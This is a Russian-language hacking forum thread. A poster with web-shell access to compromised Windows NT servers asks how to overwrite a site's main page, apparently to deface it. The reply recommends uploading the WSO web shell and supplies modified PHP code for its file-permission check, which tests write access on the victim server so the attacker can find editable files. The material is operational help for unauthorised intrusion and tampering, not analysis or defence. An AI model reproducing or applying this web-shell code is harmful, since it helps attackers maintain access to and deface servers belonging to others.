Вобщем попалось несколько очень хороших серверов они все на Windows NT. Дык вот практически на из них можно только создавать файлы, а редактировать и заливать нельзя. Причем у большей части в одной папке редактировать можно а в другой нельзя, хотя права на все файлы стоят одинаковые. Как можно с этим бороться? Или если способ редактировать файлы? Просто допустим вот шелл, заливать могу, создавать файл могу, удалять файл который я создал могу. А удалять файлы которые есть уже на сервере не получается. Если какой то хитрый способ как то перезалить главную страницу что бы ее можно было редактировать? Или хотя бы посмотреть список файлов которые можно редактировать.
закачай на серв wso и подкорректируй его На вин права не правильно отображаються, а именно функция: PHP: function wsoPermsColor($f) { if (!@is_readable($f)) return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>'; elseif (!@is_writable($f)) return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>'; else return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>'; } Багфикс при котором работает правильно PHP: function wsoPermsColor($f) { if(is_dir($f)) { if($GLOBALS['os'] == 'nix'){ if(is_writeable($f)) { return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>'; }elseif(is_readable($f)){ return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>'; } else return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>'; } else { $tmp = $f.'/.ssps_tmp'; if(@touch($tmp)){ unlink($tmp); return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>'; }elseif(opendir($f)){ closedir(); return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>'; } else return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>'; } } else { if($fp = @fopen($f, 'a')) return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>'; elseif($fp = @fopen($f, 'r')) return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>'; return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';; } }